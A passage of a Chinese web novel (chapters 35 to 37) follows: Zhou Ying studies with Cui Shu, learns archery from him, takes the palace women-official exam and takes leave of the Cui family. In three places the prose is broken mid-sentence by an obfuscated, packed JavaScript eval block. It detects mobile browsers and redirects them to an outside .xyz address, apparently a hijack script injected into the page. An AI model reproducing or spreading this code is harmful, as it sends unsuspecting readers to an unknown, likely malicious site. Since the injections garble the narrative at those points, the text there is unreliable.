“女官文试试题不会太难，你自行准备即可，若有疑问可来问我，往后我会住回可园。”崔述转身回府，走出两步，又回头道，“十日功夫，还想学什么？我这草台先生既引你入门，如今就算要悔也已晚矣，仍当倾囊相授。”说罢不再停留，先一步往回走。 心中猝然涌起的热气催逼得他心生烦躁，难以自控，连素日涵养都消失殆尽，竟忘了等一等她。 周缨轻倚在桥上，注视着他越走越快的背影，心中无端漫上一股怅惘，在胸腔中左突右冲不得出，令她心口微微胀痛起来。 她捂着心口，微眯着眼去追寻那个萧索的身影。 但隔着长长的清波桥，漫漫秋水阻滞了她的心念，那身影也终是越行越远，湮没于茫茫夜色。 于是那丝惘然也终于随桥下秋水潺湲而去，消逝在粼粼波光之中。 35. 宫墙万仞（二） 大考在即，周缨无暇分心去思量，自个儿昨夜为何会生出那般莫名的情绪。 夫子每日授完课会回城西，她并无太多与之交流的机会，恰好崔述在此时回府，周缨自然不想错过这等大好机会，果真每日待他下值回来，不管多晚，都披星戴月地拿着自己梳理出来的问题去向他请教。 崔述知她心意已定，多说无益，亦不再出言劝阻，只尽心为她答疑。 这日崔述难得回来得早，与大家一道用晚饭。周缨饭后早早捧书过来，崔述为她指点迷津后，见她仍愁容满面，揶揄道：“女子能通读四书者少之又少，你如此夙兴夜寐，虽未必悉知其义，但应付初试已易如反掌，何需这般紧张？” “人外有人，万一遇着高手怎么办？” 崔述失笑：“又不是只选一个。” “好像有点道理。”周缨以手托腮，先是赞同，后又摇头，“不行，还是不能掉以轻心。” 掌心湿漉漉的，周缨低头去瞧，原是不经意染上了墨汁，忙将笔搁下，想拿帕子擦，又停住手，正欲起身去收拾，崔述已先一步将一旁的铜盆端了过来。 周缨埋首去洗，使劲儿搓了几下，手心都已搓红，也只是让墨迹稍淡了些，她面上有些挂不住，讪讪道：“这墨真好，印书想必能存世百年不在话下。” 崔述一哂，将盆搁至案上，捉过她的手，取过盆缘上的巾帕替她擦拭起来。 微凉的温度隔着布料传来，周缨胸腔一震，想要抽回手，又觉反是此地无银横生枝蔓，只好僵在原处。 崔述浑然不觉，只道这墨果然顽固，反手取来胰子，将帕子润湿，打上胰子搓出沫，才又去擦她的手。 帕上的水滴坠入铜盆之中，惊起一圈涟漪，这涟漪逐渐放大，一圈一圈地漾进周缨心里，令她恍然惊醒。 她垂眸看去，虎口并食指被搓洗得微红，轻微起皱，墨痕已被清理得干干净净，她收回手，低声道谢：“多谢。”又取过他手中的巾帕清洗起来，耳垂并脖颈泛起一层轻微的潮红。 她屈身背对着他，手轻微发颤，水溅出几滴落在书卷之上。 崔述侧身去瞧她，察觉出她的不自在，后知后觉方才僭越，想出言解释，但到底没说什么，只轻轻握了握垂在身侧的手，注视着她端着铜盆出去清洗换水。 周缨再进来时，已然面色无异，平静说道：“帕子晾在外面了，已同仆妇交代过，干了会收进来。” 崔述淡淡“嗯”了一声。 案上的书卷已被整理好，周缨将其拿起抱在怀中，便要回怡园。 竹影见她抱书出来，迎上来替她添衣，周缨抱书站在窗边任由摆弄，轻微的夜风将崔述的声音送至：“明日我休沐，同夫子告个假，早些过来，授你最后一课。” 翌日朝中休沐，一大家子难得聚齐，早膳过后，于饭桌上闲话了几句方散，周缨先一步回院中准备笔墨，预备晚些去找崔述。 崔述随即告退，却被韦湘叫住：“三郎，你留下，我有话同你说。” 众人离开后，崔述问道：“母亲有何事赐教？” “明知故问。”韦湘起身，“陪我去转转。” 大丫头捧着一只长条螺钿匣跟上，身后众侍女随行，行至半途，韦湘开门见山：“朝中同你这般年纪，尚未成家的还有谁？你倒与我说来。再这般下去，崔家都要成朝堂笑柄了。” 崔述垂首致歉：“连累母亲几度忧心，实是孩儿不孝。” “早年在外做官，耽误数年，那时说年纪尚小，不着急。好不容易回京，终于说动你同意议亲，紧要关头上却又出了那档子事，稀里糊涂罢官离京，如今又耽误了快两年。”韦湘叹道，“徐公之女今已是双九之年，再耽搁不得，倘若再不议定，自然会另择良婿，再要找家世品性容貌都这般出众的女儿家就难了。” “母亲，我暂且还没有这个心思。” 韦湘怒从心起：“你当真要孤家寡人一辈子？” 倘若要走的路势必众叛亲离，孤身一人自然是最佳选择。 若是以前，一句“有何不可”或许能轻易出口，但今日，他竟有些犹疑，于是默了须臾，只随口道：“母亲恕罪。” “徐公是你在刑部的引路人，于你既有知遇之恩，又有照拂之义，两家若能成秦晋之好，当属天赐良缘。你且瞧瞧徐公幼女的样貌再说，顶顶水灵的人儿，你若见了，很难不心动。” 大丫头捧匣上前，韦湘亲自取出其中的卷轴，沉鱼落雁之貌呼之欲出，崔述目不斜视，淡道：“母亲暂且收了这条心吧，当初本也未同徐家议定，徐公心中有数，这两年也未必是在等咱们，无需咱们回话。” 胸中哽着一口气，差点令韦湘喘不过气来，侍女忙在身后替她抚背。 等平复下来，韦湘将卷轴交于侍女，转而试探道：“你是不是对那周姑娘动了心思？” “母亲胡说些什么，没有的事。” “你急什么？” 韦湘若有所悟地瞥他一眼，叹道：“那姑娘在家里住了大半年，人品性情我倒看得清清楚楚，是个不错的，只可惜出身低了些，你若当真对她有意，待正妻入了门，纳了她也无不可，我不拦你。” 崔述想也不想便驳斥道：“母亲莫要胡说，儿子倒无碍，莫损姑娘家清誉。” “你当真无此意？”韦湘神色颇为怀疑，“你好不容易回家来住，父母跟前不见尽孝，蕴真那边也不见你关切，那丫头日日往你那里跑，你反倒不嫌，难不招闲话。” “求学心切罢了，她既有恩于我，我自当报之。”崔述肃容道，“府里下人若有乱嚼舌根的，母亲还是当提点二嫂多加管教，以免失了体统。” 韦湘轻嗤出声：“这姑娘着实招人喜欢，于我崔家也有大恩。等开年过后，她孝期也将满了，你若当真无心，我便将她收作义女，以崔家女名义说亲，”说着去瞧他的神情，试图找出些端倪，“自能帮她寻个还不错的仕宦之家做归宿，也算是崔家的心意。” “母亲勿再提此话了，她性子要强，能在府里安心住上这么久，无非是为保全我，已很是不易。母亲虽是好心，但有些话不当提。”崔述望向湖面，淡道，“各人有各人的缘法，不是非要强推一把才行，还望母亲三思。” 见他神色淡漠，语气平平，韦湘沉默下来，拧眉深思。 “母亲不必为此事忧虑，她应当很快便会辞行了。” 韦湘抬头，语带不解：“什么意思？” “稍待些时日，母亲便知晓了。” 崔述说罢便告了退，韦湘在原地思忖半晌，同身侧的婆子怪道：“他这说的哪门子暗语？怎生猜起哑谜来了？像什么话。” 待两人都走远了，周缨才提步往前往怡园。方才她虽先从澄思堂离开，半途却被蒋萱叫住去选了两匹料子，左右推辞不得，耽误了些时辰，行至此处，便见着了韦湘打开的那幅画像。 虽隔得远，听不清母子二人的对话，但隐隐可以断出是幅女子的画像。 不用深想，也能知晓他二人在谈些什么，只是不好惊动二人，不得不在此处盘桓逗留了一阵。 她步子迈得快，自没有留意到身后还有一双注视的眼。 崔蕴真绕至可园，仍将仆妇都留在外院，独自进院，瞧见束关懒洋洋地倚在廊柱上，问道：“三哥在哪里？” 束关指了指里屋，她便不好再进去，只能候在廊下等。 秋日将尽，今日的日头却还不饶人，晃得人心里发慌，蕴真待了半刻，总算瞧见崔述从屋里出来，却不是惯常的家居便服，而是束身劲装，不由一愣：“三哥这身装扮作什么去？” “你怎么来了？”崔述边系袖间暗扣，边往花厅走。 丫鬟奉上两杯温茶，蕴真立即呷了口，自顾自说：“一路走过来，倒是真走热了。” “有事？” 蕴真清了清嗓，神神秘秘地盯着他，直把崔述盯得心生怪异，纳闷儿道：“神神叨叨地做什么？有话便说。” 蕴真不说话，崔述会意将侍从遣退，她才凑上前，压低声音问：“三哥，你是不是瞧上周缨姐姐了？” 崔述“笃”地将刚端起的茶杯重重放回案上，摆出兄长的架子斥道：“你如今是一天到晚不知正事，只知胡吣是不是？” 蕴真委屈巴巴地同他装可怜，话却仍旧欠打：“你这是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607466|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戳破心事，恼羞成怒了罢？我是你妹妹，对你可再熟悉不过了，你这些时日真的不对劲，我要连这点都看不出来，也不必做你妹子了，明日便找块豆腐一头撞死，好叫二嫂让人把我抬出去。” 崔述屈指在她脑门儿上一敲：“你再胡诹，我必叫母亲好生管教。” 蕴真揉揉被敲痛的地方，噘嘴道：“你就只会这招，从小到大吓唬我多少回了，能不能换个招数？” “女大不中留，我晚上同二嫂知会一声，早些替你相看起来。” 蕴真立马服输讨饶：“好了好了，不逗你了。可我刚在湖边看见周缨姐姐了呢，想是刚从二嫂那里过来，走累了歇歇脚吧，站了不少时候呢。” 崔述抬眸看过来，眼神微凝。 “还说不是，你敢发誓么？”蕴真取笑他，“阿兄早年教我，人无信不立，怎么如今阿兄自个儿也会说谎了？” 崔述盯她一眼，单手并指举至耳际，见他几无犹豫，蕴真连忙将他手打落：“得了得了，我信你，别瞎发毒誓，听着怪瘆人的。” “我先走了，出去记得带点好吃的回来。”蕴真嘴里嘟囔着，退了出去。 崔述再度抬起方才举起的右手，视线落在掌中纹路上，莫名有些失神，好半晌，才举步迈出花厅，一眼撞见缓步进来的周缨。 周缨亦往这边看来，见他的装束，愣了一下，说：“这是要去骑马？那我回去换身衣服。” “不是，就这样足够。” 昨日他特地交代过穿轻便点，周缨今日特地换的窄袖小衫，虽不是专门的骑装，但也勉强可以应对大部分场合，听他如此说，歇了回去再换的心思，以免耽误他更多时间。 崔述领她去往马房，指着其间一匹棕色的良驹叫人牵出来，马儿似通人性，急不可耐地上前在他手背上蹭了蹭，崔述摸了摸它的脖子，笑着同她说起：“它叫房星。” 见四蹄毛色突变，洁白如雪，颇为罕见，周缨凝神细看了一阵，不由问道：“这是你以前的坐骑？” 崔述颔首：“年纪大了些，但先前陪我离玉京去临溪，又一道返京，可以老友视之。” “你自己挑一匹有眼缘的。”崔述同她道。 周缨不懂挑选马驹的技巧，沿着马房走过一圈，不见有特别喜爱的，发觉上回那匹青骢马也在其中，便指着它道：“你把它也带回来了。” “马通人性，平日间善待，危难之际，生死相托亦可。” 周缨似懂非懂地点头，自马夫手里接过缰绳，跟在他身后走。 走出巷道，两人打马往南，取人迹较少的路直奔城外。 年夜过后，周缨便不曾再骑过马，一开始心里还有些怯，谨小慎微地控着缰，身子僵得厉害，崔述放慢速度跟在她身侧，令她逐渐安下心来，僵直的脊背缓缓松驰下来。 见她已经适应，待出城门，崔述陡然加速，将她甩在身后。 周缨被他这一言不发的行径激出胜负欲，一夹马腹往前冲去，丝毫不像方才还在胆怯的人。 马上女子英姿飒爽，一马当先冲入茂密的榆木林，不忘回头笑着冲他示威。 崔述恍然失神，忆起年夜里的场景，那时他曾站在河岸边，看着她恣意纵马林间，清晰地听到自己的心跳声。 理智虽还在，视线却不受控制地落在她的背影上。 直至她驰骋进一片平整的空地，看见场中竖着的红靶，惊呼出声，他才回过神来，将马引至场边草地上进食，而后大步走上前去。 周缨盯着那只精巧的弓左看右看，想探手去摸又觉得不合适，便以眼神询问他意见。 “左手拿弓，你先试试。” 得了允准，周缨伸手去拿弓，不料这弓用料十足，周缨一时不防，那弓便直直砸向脚尖。 崔述探手帮她控住弓，待沉弓止住去势，方道：“你非弱不禁风之辈，这弓难不倒你，我放开，你再试试。” 他缓缓松开手，周缨凝神聚力，果真将那弓慢慢举起。 崔述绕至她身后，替她掌住弓。 微凉的风伴着醇和的嗓音送进耳中： “今日授你最后一课，射术。” 36. 宫墙万仞（三） 崔述转至周缨左侧立定，扶弓的手未收回，两只手一上一下，相距不过寸余，周缨垂眸去看，仍旧一眼被他这双竹节般修长的手所吸引。 目光再往下，移至自己的手，将养了一年有余，如今也算肤色白腻，滑如凝脂，但毕竟是一双做惯了粗活的手，实难入眼。 “左手扣弓把，弓弦上有细槽，箭尾便卡于此处。”崔述屈着身子同她细讲。 周缨点头，头扬起时不经意撞上他的下颌，一声轻微的吸气声传至，令她陡觉牙酸。 她将弓重新放回弓架上，讪讪转头去看崔述，他正弯腰拾起麂鹿皮做的护具，面上丝毫不显痛色，见周缨看过来，示意她伸手，将护具在她左小臂上仔细缠好，再将指套递给她：“戴于右手中间三指上，可以避免拉弓时伤手。初学时较难把握力道，此事虽小，但万不能忘，否则极易受伤。” 周缨将那指套翻来覆去地看了两遍，找着门道，不甚灵活地扣在指间。 弓以沉木制成，古朴厚重，并非女子初学时常用的轻弓，崔述执弓，自箭筒中取出一只羽箭搭弦，声平如井：“左手推弓，右手食指扣于箭身之上，另两指于其下。” 崔述调整站姿，侧身瞄靶，蓄力拉弓，耐心教她要领：“身要稳，握拳靠颚，右手平拉至肩，手肘不可屈。” 羽箭刺破虚空，正中红心。 崔述将弓递给周缨：“让束关替你特制的，你使着应当正合适。射术之道，唯手熟尔。原本想着日后机会还多，练习的机会不少，前些时日才让束关制了此弓。”顿了顿，又道，“你既已选好了路，往后应当没什么机会再碰了。不过君子六艺，皮毛至少应习得，这两日记得勤加练习。” 喉间堵得慌，周缨没应声，默然接过沉弓，学着他的模样侧身站直，挽箭拉弓。 久不做活兼手生，这第一支箭实是有些惨不忍睹，控住弓把便忘记拉弦，拉满弓又忘记松手，箭尾被卡住，箭身斜栽入泥地，距靶桩足有五尺有余。 周缨懊恼地一跺脚，取过一支新箭，誓要一雪前耻，再搭箭时，悄悄往崔述那头睨了一下，意图探知他的神情，却被崔述抓了个正着，沉声训她：“‘目不能两视而明，耳不能两听而聪’，箭不会自己中靶，专心些。” 周缨定神，反复回忆他所传授的要领，长吸一口气，再次尝试，虽仍未中靶，但羽箭至少能斜擦着箭靶飞出去了，不至像方才一般滑稽，一时信心大振，自顾自地练习起来。 金乌跃至中天，树影渐趋短小，日头虽不烈，但空旷之地仍晒得厉害，崔述走远，在树荫下站定，远远看着，一缕惆怅缓缓爬上心间，经久不散。 周缨热情高涨，不觉日晒，不知疲倦地连着练了二十来发，待箭筒已空，才将沉弓放回弓架，小跑着去捡四散的箭矢，独有一支羽箭斜插在箭靶上，因角度刁钻，个子又够不着，上蹿下跳了好几回也未能拔出，只好求助似地看向这边。 崔述低低一笑，举步往日头下走去，及至近前，将一方素帕和水囊递给她，握住箭羽，用了十成力才将箭身拔出，身子受力向后仰倒，亏得反应迅速，疾步后退，才卸了力道，不至于摔倒。 周缨一个箭步上前，在他身后站定，试图以身子阻挡他的去势，却被结结实实地踩了一脚，痛得闷哼出声。 崔述回过身，两人面面相觑，周缨执帕擦汗，借势遮住双眸，抢先道：“没事。”实则疼得走路都歪歪扭扭，只得站在原地，擦完汗又喝水，找由头不肯挪步。 崔述抱起她方才拾在一处的羽箭，走回另一边，逐一插入箭筒，往这边看来。 痛感消减，周缨捡起一只方才遗漏的箭，缓步走回原处，将水囊递还给他，再次拿起沉弓。 “初学不可贪多，否则明日会手臂酸痛，行动受限。”崔述叮嘱完这句，又提点她方才练习时所犯的错误，重新退回荫凉处，关注着她的一举一动。 脚上隐隐的痛令周缨站得不如之前稳当，退步自然明显，她越练越恼，反倒激发出一股子不服输的劲儿来，一轮又一轮地练习，不肯停下。 崔述看了半晌，扬声唤她过来。 周缨恋恋不舍地看靶心一眼，慢吞吞地走过来，嘴还噘着，显然不服气。 “各人天赋所在不同，不能强求事事都能一学就会。勤可补拙，明日你可自行再来，我叫束关过来指点你。”崔述将水囊递给她，“喝口水，先回去。你若不怕考场上提不起笔，我也不拦你。” 这招果然奏效，周缨喝完水，乖乖去将两匹已饱食完毕正悠闲踱步的坐骑牵过来，踅返回府。 其后几日，崔述忙于朝堂之事，没空亲自过来，便指派束关日日跟着。 束关话不多，于教学上不算擅长，但好在精通箭术，周缨凡有所惑，他便亲自上阵示范一番，叫她自行领悟。所幸周缨悟性还差强人意，人又勤奋好学，短短几日下来，竟能像模像样地比划些假把式，射出的箭也偶有几支能勉强中靶了。 束关对此不甚满意，觉得周缨天赋不高，进步缓慢。 周缨自己倒还算满足，信心满满，觉得再苦练上三年五载，应当也能射中红心。 只是初八日近，周缨虽对箭术兴趣浓厚，但考校一事更为重要，最后两日下学后也不肯再出门，只说有事要留在家中，束关乐得清静，学射一事到此告一段落。 初八之日，周缨早早辞过韦湘出府。 考场设在景运门旁的一排庑房中，束关送周缨赶至时，时间尚还充裕，周缨交完身验备查，经搜身入内，坐在座位上，方觉得微微有些紧张，遂长吸一口气，在座位上放空心绪，宛若老僧入定。 虽是广选女官，只以学识取人，但女子求学者本就不多，且能供女子读书之家也甚少会让女儿入宫做女官，故虽临近三州皆于此处初试，人数仍不算多，考场执事者为尚仪祝淮。 祝淮发令，考生启卷，周缨草草阅过一遍，大部分内容出自四书，少量涉及宫中典章，她这三日临时抱佛脚的《女孝经》等书目则全然无迹，心下微微讶异。题目数量并不算多，唯最后一题要求撰文，周缨思虑间，听闻身侧翻草纸的声响动静比先前频繁许多，想来即便是平日间教女儿读些书的人家，教习著文者也少。 周缨起步晚，向来以读为要，写则甚少，自然也并未学过如何著文，冥思苦想一阵，将自己所思所想在草纸上分条列出，略一思忖，按由浅入深顺序一一写来，能忆起且确保不会记岔的典能用则都用了上去，至宫人要求停笔，方恋恋不舍地出了庑房，随众人列队而出。 其时日已薄暮，各家车驾将景运门外堵得水泄不通，周缨站在门下举目四望，锁定束关所在的位置，提裙小跑过去，同他道谢：“久等了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613542|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >束关搬出杌凳，周缨踩着上了马车，一掀帘幄，半幅潇湘竹纹饰的衣袂落入眼底，她躬身进车在一侧坐定，问道：“今日下值这么早？” “诸案已结，今日轻松些。”崔述语气淡淡，不动声色地用袍角将脚下一只金贵的黑漆嵌螺钿盒再藏仔细了些。 周缨未曾觉察，仔细地打量车中陈设，一碟芙蓉糕动了一块，沏好的茶也已冷透，他显然候了已有一阵了。 “如何？” “考了著文，先前以为不会考这么正式的题，准备不太够。” 崔述“嗯”了一声：“此次擢选女官实是出自中宫旨意，皇后想选些得力的新人以备己用，点明务必要学识好的，题难些也不足为奇。” “君子不器作何解？”周缨若有所思。 “你如何解的？”崔述不答反问，语气平和，倒令周缨觉得心上仿佛有只蚂蚁慢腾腾爬过。 “我……”周缨迟疑了下，小声说，“以君子之思、君子之行、君子之量不器破的题。” 崔述“唔”了一声：“也算切题，入围应当没问题。” 周缨拿起一块芙蓉糕咬了两口，食之无味，想扔回碟中又觉不妥，强令自己勉强吃完，边清理手指边闷闷地说：“我倒不是怕这个，我看大家都下笔都迟疑，估摸着都发挥得不大好，我应当也不算太差。” 她越说神色越发苦恼，崔述疑惑地看向她：“那你在担心什么？” “我觉得我读书的方法不对。”周缨心下苦恼，“这句我先前听夫子细讲过，当时夫子说此句有数解，只是我答的这种被多数人认可。我方才构思时，思来想去，竟如何也想不起来其他几种解法了，仿佛从没听过一样，果真是没读进心里去。” 崔述将手中的卷册叠好放回案上，借机打量了她一眼，见她目中有苦闷之色，一时动了恻隐之心，温和劝道：“你起步得晚些，心里着急，为求涉猎广博，自然不求甚解，但也不代表这样是错的。读书之道，先广后深，你再往后读上两年，当知此话不错。” “当真？” “当真。”崔述颔首，“何况世间几人能有过目不忘之能，不必苛责自己。” 马车于角门停下，周缨坐于外间，先一步下车，崔述起身，目视那只名贵的漆盒一眼，长舒出一口气，缓步下了马车。 周缨跟在他身后往内走去，心里仍在思考他方才的话，不经意间听到他问：“你打算何日同夫人提起此事？” “待结果出来吧，若中了自然不提，若没中，我也收拾收拾自谋生路去。总之，这崔府我是待不下去了。” 这话带几分揶揄之意，崔述一笑：“入选自不在话下。” “怎么说？” “我看过题。”崔述大步往前，“你的水准，我还算略知一二。” 周缨一愣：“那你岂非帮我作弊？” “我同你泄过题？”崔述鼻间逸出一声轻笑，“方才等你无聊，让束关进去拿了一份出来看看而已，那时已近尾声。” 周缨“哦”了一声，闷闷地跟在他身后走。 他却忽然住脚，一股无可名状的郁气，在胸腔里作困兽之斗，无处发泄。 好半晌，他才平复好情绪，沉声叮嘱道：“宫中不便，早些收拾。你今日就算出师了，往后，—— 道阻且长，我就不再送你了。” 37. 宫墙万仞（四） 第一场冬雨疏疏落落地洒下来，景运门外张贴布告，周缨成功入选，当于三日后入宫。 离别之日，檐雨成线，周缨携精心准备的礼物上门辞别崔家众人。 韦湘听闻时诧异不已，平复下来后，吩咐蒋萱赶紧让绣娘准备些贴身衣物让她带着，又单独留下她叙了一轮话，话里颇有些嗔怪的意味：“你这孩子，这么大的事，悄无声息地就办了，也不与我们通个气，便是当真有这心思，多个人帮衬也是好的。” 周缨心领她的好意，赔笑道：“原也只是偶然看到布告，想着去凑个热闹，觉得多半不能入选，便没有提前说明，还望夫人见谅。” 韦湘犹豫再三，终于还是道：“宫闱之中，诸事不由己身，你要不再考虑考虑？三郎如今帮你除个名倒不算难事。” 见她不应声，以为她心生悔意，韦湘又说：“圣上登极，开恩赦宫人出宫，但终究只是这一朝的规矩，焉知往后又是何光景？困守宫墙，终此一生，便是你想要的？再者……你觉得三郎这人如何？” 对于前一问，周缨避而不答。 对于后一问，她起先讶异于韦夫人竟存有这样的心思，后来却只是想起那盏九转莲花灯，以及那垂梁的白幔与雅淡的茶香，于是说：“自然是极好的。崔三郎于我，有再造之恩，此生定不敢负。日后宫闱之中，若我能有几分造化，如有用得上我的地方，还请韦夫人不要客气。” 韦湘何等聪慧，知周缨听出了自个儿的言下之意，也明白她当真不愿，虽说有憾，但到底不能勉强，只好嘱咐她往后好生照顾自己，又说待崔公回来，会代她转达此事，不必为此介怀。 周缨同她拜别，从澄思堂出来，撑伞行至漱音苑，蕴真正百无聊赖地坐在窗前看雨，瞧见她进来，喜得趿着鞋便迎出来：“周缨姐姐怎么冒雨过来了，我倒想过去找你玩，但又犯了懒，正说等雨停了再过去。” 周缨收好伞，将一只云纹螺钿漆木嵌宝匣递给她：“给你带的礼物。” 蕴真乐道：“这般精致，给我带什么好东西啦？”打开见是一枚桃花碧玺佩，入手温润，细看是极为通透的质地，贵而不奢，颇有雅趣，斜着眼睨她，“这太贵重了些，近日有喜事缠身？” “喜事倒算不上。”周缨同她笑笑，正色道，“蕴真，我是来同你辞别的。” “什么意思？”蕴真将碧玺佩放回匣中，不解道，“姐姐要去哪里？这里住着不好么？” 周缨很平和地道：“我参与了女官的选擢，侥幸通过，午后就要入宫了。” “你要入宫做女官？”蕴真眼圈儿红了一圈，眼泪珠子啪地坠下来，落在那枚碧玺佩上，几近语无伦次地道，“你便是要去别的地方自谋营生也好，我还能常去看看你，你去那样的地方……周缨姐姐，你叫我往后怎么办？我若想你了……” 周缨将她搂入怀中，在她背上轻轻拍了拍：“往后若有机会，我会设法出来看看你的。你若有机会进宫，咱们也总有机缘能够遇见。” “说着轻松，哪有那么容易？” “我不会食言的。” 蕴真哭得上气不接下气：“你真想好了？” “事到如今，临阵退缩，便是视皇家威严于无物了，是必去不可的。驭风也要托付给你，劳你多多照顾。” “那三哥知道么？他上值去了，你午后便要走的话，”她说着站起身来，叫丫鬟去传小厮进来，“我叫人速去给他传个话，他定会赶回来，你等等。” 周缨低眉敛目，含糊地说：“他知道的，交代过不会送我了。” 蕴真倏然动怒：“你有事惯只叫他知道，全不肯同我商量，临到头了才告知我这么一声，我还说些什么，你自去吧，左右往后也不得见，我不与你再费口舌。驭风我自会替你养好，只当它没有过这般无情的主人。”说罢趿着鞋重重地走回里屋。 朝夕相伴将近一载，到底动了几分真心，周缨闭眼，将哽咽之意压了下去，又站了片刻，才平静道：“蕴真，其实我羡慕你良多。我便先走了，你多保重。” 风吹帘动，辞别之人随风而去，被檐角坠下的雨水雾了踪迹。 果不见她追进来宽慰，蕴真气得更加厉害，一跺脚便要动怒，却又吸了吸鼻子，泪眼婆娑地踅回明间，将那碧玺佩拿至手中反复观摩，命丫鬟取来一只紫檀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613543|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嵌玉匣，一股脑儿地把自个儿的珍宝首饰装了大半进去，气势汹汹地交给丫鬟：“你拿去给她，说这是我的回礼，她若不肯收，你就说，叫她这辈子只作不认识我。” 丫鬟不敢违逆，巴巴地捧着箱奁去了怡园，不多时，又原封不动地抱了回来。 蕴真怒极：“她当真不肯收？” “周姑娘说太贵重了，她受不起。” “只许她送我这般珍贵的物件，倒不许我赠她临别礼了，天底下哪有这样的道理？” 蕴真接过箱奁便往外走，丫鬟劝道：“婢子回时，门上已在套车了，周姑娘此时怕已出了若华门。” 蕴真将箱奁重重往桌上一摔：“我就不明白，她怎么会想去做女官？三哥知道竟也不拦？从今往后，我只作不曾识得这个人。” 这“咚”的一声，似隔着车壁敲在周缨心上，令她从恍惚中回过神来，掀帘往外望去。 帘外冬雨绵绵，她便在这细雨萧疏中离开寓居十月有余的崔府，迈向万仞宫墙后全然陌生、无可预料的道路。 然而她的心情却无比平静。 她并不觉得宫墙可畏。 她不是如史书上的红颜枯骨那般，被裹挟着走进这如洪流般的深宫。 她平和、清醒地睇望前路，从容而心甘情愿地走进这未知与暗潮。 车至景运门，束关下马候在一侧，周缨行李依旧不多，一只西番莲纹样的瘪布包袱便囊括了她过往的近十七载岁月，她福身向束关致谢：“自平山至棠县再至玉京，劳君一路照拂，无以为报，多谢。” 束关将车辕上的包袱递给她，同她道别：“周姑娘客气，往后珍重。” 两人相揖作别，束关收紧缰绳正欲离开，周缨忽地唤住他：“劳烦给你家郎君带个话。”顿了须臾，才接道，“来玉京这一年半，是迄今为止，我此生最快乐的时光，替我向他道个谢。” 待青帷马车消失在雾茫茫的雨帘后，周缨才收回目光，撑着一柄竹骨伞走进门后的庑房中，交完身验，不多时，一名宫娥上前引她进去。 她便这般，在一个平凡而普通的午后，安然地走进巍峨宫墙之内。